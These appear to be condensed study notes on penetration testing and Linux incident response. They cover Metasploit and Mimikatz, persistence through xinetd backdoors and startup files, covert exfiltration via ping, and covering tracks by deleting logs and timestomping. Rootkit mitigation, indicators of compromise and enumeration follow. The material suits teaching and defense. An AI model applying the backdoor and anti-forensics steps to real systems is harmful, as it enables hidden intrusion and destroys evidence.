METASPLOIT: modular pentest approach & IDS signature development tool; use [exploit|payload] > set [option] > check > exploit; search [term]; post=follow on cmd used once on system; auxiliary=get info on target
Meterpreter: client-side Ruby API shell; cmd=msfconsole; msfvenom=payload
Multihandler: listener; handles connections from exploits outside MSF
PsExec: Win exploit using SysInternals; req. creds
Mimikatz: post-exploit module; dumps memory for creds

PERSISTENCE: scheduled jobs: cron, at; startup scripts grub.conf|cgf, /rc #, /inittab files; svc backdoors: xinetd, inetd; bash setup: ~./profile, /etc/profile, ~/.bashrc, /etc/bash.bashrc; modify system binaries: /lib/modules; alias, path
[X]INETD Backdoor: modify /etc/xinetd.conf to define service {}, disabled=no, user= & server=[shell/binary]; /etc/services defines port # for svc; Server == where svc points @ startup, User==(i.e., root), socket_type==type (i.e., stream)
Covert: blend in w/ normal traffic; something in unintended manner; done w/ ping by attaching data to end of ping on another box to send/exfil data
Overt: typical connections, use general methods; obvious

COVERING TRACKS: rootkits hides; kill your processes & network connections, remove uploaded binary, find/remove logs r/t attack, mod. acct, timestamps;
Find Process Logs: lsof | grep "$PID" | grep "\.log"; finds your processes' logs
OpNotes: time we arrive to time we leave box; useful to cover tracks
Timestomp: change file timestamp: touch -t [time] [file]; cover tracks
ROOTKIT: intercept syscall to hide; user rootkits replace ps binary; kernel rootkit replaces device/sys binaries; lsmod sees module, rmmod removes it;
Rootkit Mitigation: check processes, known good tools, check hashes, look for bad traffic & listening ports, compare /proc against ps; check system binary hashes on virustotal.com; bring 3rd party tools (rkhunter) & own binaries
IoC: unauthorized. accts; modified system binaries vs. baseline; logs disabled, missing, or gaps; rsyslog.conf dest. changed; failed logins; weird login times; processes w/ unusual net connections; unfamiliar processes; processes w/ high resources|wrong priority order; sys process w/o [], multiple defunct processes, services w/ unusual parent (not PPID 1); /games in root $PATH

ENUMERATION METHODOLOGY: **Acct**: /etc/passwd, /etc/shadow, /etc/group; **Connections**: netstat; **Process**: ps (more daemons means host=server) **Logs**: syslog, auth, wtmp, utmp, btmp, rsyslog.conf; OCO: @@ip, tty#; **Startup**: rc #, menu.lst, grub.cfg, grub.conf, inittab; **FileSystem**: md5sum, find, ls, sha1sum;